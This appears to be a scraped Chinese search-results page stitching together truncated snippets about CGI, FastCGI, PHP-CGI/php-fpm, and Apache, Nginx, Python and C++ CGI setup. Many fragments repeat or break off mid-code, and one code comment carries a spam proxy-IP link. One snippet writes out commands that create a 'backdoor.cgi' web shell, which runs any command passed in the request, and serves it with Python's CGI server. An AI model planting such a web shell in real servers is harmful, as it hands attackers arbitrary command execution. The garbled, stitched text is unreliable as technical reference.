一、CGI技术概述 CGI(Common Gateway Interface)是一种用于Web服务器与外部应用程序(CGI程序)之间进行交互的标准协议。...CGI程序通常被放置在Web服务器的特定目录(如cgi-bin)中,并通过特定的URL路径进行访问。...二、CGI技术的工作原理 CGI技术的工作原理可以概括为以下几个步骤: 客户端请求:用户通过Web浏览器向Web服务器发送HTTP请求,请求中可能包含需要处理的表单数据或其他用户输入。...CGI程序执行:Web服务器启动一个新的进程(或线程)来执行CGI程序。...随着Web技术的不断发展,现代Web开发更倾向于使用其他更先进的技术来替代CGI技术。然而,在特定场合下,CGI技术仍然具有一定的应用价值。
关于CGI程序的几个疑问。
cookie操作:限制4kb,300个,每个域名20个 image.png cgi.escape image.png urllib.parse.quote_plus unquote_plus...image.png open().read() HTMLParser().unescape() image.png cgi.FieldStorage() xx.keys() image.png
下面图可以看到流程 WEB服务器与cgi程序交互 WEB服务器将根据CGI程序的类型决定数据向CGI程序的传送方式,一般来讲是通过标准输入/输出流和环境变量来与...而且它是Web客户机需要提供给Web服务器的唯一标识,可以在CGI程序中用它来区分不同的Web客户机。 REMOTE_HOST 这个环境变量的值包含发送CGI请求的客户机的主机名。...,它的文本值表示Web服务器传送给CGI程序的输入中的字符数目。...上面例子展示了cgi 程序与web服务器的交互。...3.当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。 Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。
cd /tmp mkdir cgi-bin echo '#!/bin/bash' > ..../cgi-bin/backdoor.cgi echo 'echo -e "Content-Type: text/plain\n\n"' >> ..../cgi-bin/backdoor.cgi echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi chmod +x ..../cgi-bin/backdoor.cgi python -m http.server --cgi wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi
定义 cgi 通用网关接口,外部程序与web服务器之间的接口标准,是在cgi程序和web服务器之间传递信息的过程 每一次请求都会生成一个cgi进程,cgi程序执行完,进程退出 独立于服务器、独立编程语言...apache收到用户请求,开始调用cgi接口,处理cgi程序(printenv.pl),处理完了之后返回 cgi程序处理后的结果。...说一下我走过的一个坑,为了验证cgi程序,我特意编译了apache2.4 ,然后配置httpd.conf 但是访问cgi程序还是报错。主要原因就是。cgi文件,没有加上调用哪个程序执行 。...都打不开链接了 我的理解是,web服务器启动,自动启动fastCgi模块 并且长期驻留在内存里, 用户访问 fastCgi程序,开启的fastCgi模块 ,直接处理请求,并返回结果. php-cgi 启动...技术 php是动态脚本语言 , php5.3以前 用php-cgi 来实现 fastCgi web请求,php 5.4开始,php-fpm 取代了php-cgi ,主要原因是 不能平滑重启php ,内存不能进行动态分配
修改apache配置文件如下 cgi-bin"> AllowOverride None Options...Order allow,deny Allow from all AddType text/html .htm .html .py AddHandler cgi-script....cgi .py 编写hello_get.py,放在/usr/local/sae/httpd/htdocs/cgi-bin/目录下,赋予权限chmod a+x hello_get.py 代码: #!.../usr/bin/python import cgi import os import time import cStringIO import json form = cgi.FieldStorage
下面图可以看到流程 WEB服务器与cgi程序交互 WEB服务器将根据CGI程序的类型决定数据向CGI程序的传送方式,一般来讲是通过标准输入...而且它是Web客户机需要提供给Web服务器的唯一标识,可以在CGI程序中用它来区分不同的Web客户机。 REMOTE_HOST 这个环境变量的值包含发送CGI请求的客户机的主机名。...,它的文本值表示Web服务器传送给CGI程序的输入中的字符数目。...上面例子展示了cgi 程序与web服务器的交互。...3.当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。 Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。
FastCGI与CGI特点 CGI,FastCGI也具有语言无关性。 CGI, FastCGI在进程中的应用程序,独立于核心web服务器运行,提供了一个比API更安全的环境。...CGI,FastCGI的不依赖于任何Web服务器的内部架构,因此即使服务器技术的变化, FastCGI依然稳定不变。...php-cgi)并等待来自Web Server的连接。...当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。...FastCGI子进程接着等待并处理来自FastCGI进程管理器(运行在Web Server中)的下一个连接。 在CGI模式中,php-cgi在此便退出了。 在上述情况中,你可以想象CGI通常有多慢。
PHP 脚本要执行可以通过很多种方式,通过 Web 服务器,或者直接在命令行下,也可以嵌入在其他程序中。...这时候便出现了 CGI 协议的升级版本 Fast-CGI。...PHP-FPM 快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。...PHP 的 sapi cgi-fcgi实现了 Fast-CGI 协议,提升了 PHP 处理 Web 请求的效率。 那么我们常见的 php-fpm 是什么呢?...纠偏 这里总结一下几个名字,以防混淆: sapi,是 PHP 与外部进程交互的接口; CGI/Fast-CGI(大写)是一种协议; 本节中出现的 cgi(小写),是指 PHP 的 sapi,即实现 CGI
/usr/bin/python # CGI处理模块 from os import environ import cgi, cgitb # 创建 FieldStorage 的实例化 form = cgi.FieldStorage...print("Set-Cookie:Path=/perl;\n") print('') print('') print('Hello Word - First CGI...This is my first CGI program') print("Hello %s %s" % (first_name, last_name)) print("User
FastCGI的工作原理 Web Server启动时载入FastCGI进程管理器(IIS ISAPI或Apache Module) FastCGI进程管理器自身初始化,启动多个CGI解释器进程(可见多个...php-cgi)并等待来自Web Server的连接。...当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。...FastCGI子进程接着等待并处理来自FastCGI进程管理器(运行在Web Server中)的下一个连接。 在CGI模式中,php-cgi在此便退出了。 在上述情况中,你可以想象CGI通常有多慢。...上面的数据摘自Nginx 0.8.x + PHP 5.2.13(FastCGI)搭建胜过Apache十倍的Web服务器(第6版) PHP-CGI PHP-CGI是PHP自带的FastCGI管理器。
/cpp_get.cgi" method="get"> 名: 姓: \n"; cout \n"; cout \n"; return 0; } ---- 编译 $ g++ -o cpp_get.cgi
CGI程序既是如此。 CGI程序通常部署到Web服务器(如Apache)上,Web服务器然后调用CGI程序,关于CGI程序到底如何从Web服务器中获得输入,请继续阅读下一节 Interface。...Web服务器在接收到用户浏览器的HTTP请求,比如请求如下URL: http://guodongxiaren.me/cgi-bin/helloworld.cgi 此时在Web服务器调用helloworld.cgi...4、硬伤 既然有这么多现成的库做了封装,那么理应用CGI编写Web的也不少才对。...其实不然,这是因为CGI有一大硬伤: 每次HTTP请求CGI,Web服务器都有启动一个新的进程去执行这个CGI程序,即颇具Unix特色的fork-and-execute。...CGI一般只做上层目录的路由,而这只能交给Web服务器去配置。比如:app/hello.cgi 的app目录在物理OS的什么位置可通过Apache去配置。
/"这个指令,指示了默认的cgi-bin的路径。...还需要配置 AddHandler cgi-script .cgi .pl 该配置默认被注释掉了,设置了cgi的后缀名 编写一个cgi文件,内容如下: #!...将该文件命名为first.cgi,然后放入/var/www/cgi-bin/目录中。...: first.cgi 说明了权限被拒绝了。...将first.cgi的权限设置成755 chmod 755 /var/www/cgi-bin/first.cgi 再次运行http://localhost:9000/cgi-bin/first.cgi,
问题背景我在 public-html 中运行了表单,并在 cgi-bin 中运行了 cgi 脚本。当我提交表单时,我收到一个空白页面。.../usr/bin/python# Import modules for CGI handlingimport cgi, cgitb, sys# Create instance of FieldStorageform...= cgi.FieldStorage()# Get data from fields(提取代理IP)# http://jshk.com.cn/mb/reg.asp?.../usr/bin/python# Import modules for CGI handlingimport cgi, cgitb, sys# Create instance of FieldStorageform.../usr/bin/python# Import modules for CGI handlingimport cgi, cgitb, sys# Create instance of FieldStorageform
配置Nginx支持CGI 相信会特意看这篇文章的人对CGI是什么及其作用已经有了足够的了解,所以在这里不再赘述,直接开始配置。.../.*\.cgi$ { root /work/www/test; fastcgi_index index.cgi; fastcgi_param SCRIPT_FILENAME $...fastcgi_params.default/etc/nginx/nginx_fcgi_params 到这里其实已经完成工作了,但我现在的公司需要在网页上能够显示数学公式,所以,以下两步是添加一个名为mimetex.cgi...(可以在网上下载)的文件到/web/www/cgi-bin(如果没有此目录,请手动创建)下,有了这个文件系统才能将用户提交的“文本格式的公式”转换成“真正的公式” mkdir /etc/nginx cd.../web/www/cgi-bin/ chmod +x mimetex.cgi
FastCGI与CGI特点 1、如CGI,FastCGI也具有语言无关性. 2、如CGI, FastCGI在进程中的应用程序,独立于核心web服务器运行,提供了一个比API更安全的环境。...4、如CGI,FastCGI的不依赖于任何Web服务器的内部架构,因此即使服务器技术的变化, FastCGI依然稳定不变。...(可见多个php-cgi)并等待来自Web Server的连接。...3、当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。...FastCGI子进程接着等待并处理来自FastCGI进程管理器(运行在Web Server中)的下一个连接。 在CGI模式中,php-cgi在此便退出了。
CGI是外部应用程序(CGI程序)与Web服务器之间的接口标准,是在CGI程序和Web服务器之间传递信息的过程。...CGI规范允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器,CGI将Web的一组简单的静态超媒体文档变成一个完整的新的交互式媒体。 ...asp,php,jsp 二、python CGI编程 1、web服务器支持及配置 在你进行CGI编程前,确保您的Web服务器支持CGI及已经配置了CGI的处理程序。...默认情况下,Linux服务器配置运行的cgi-bin目录中为/var/www。...而且它是Web客户机需要提供给Web服务器的唯一标识,可以在CGI程序中用它来区分不同的Web客户机。 REMOTE_HOST 这个环境变量的值包含发送CGI请求的客户机的主机名。
领取专属 10元无门槛券
手把手带您无忧上云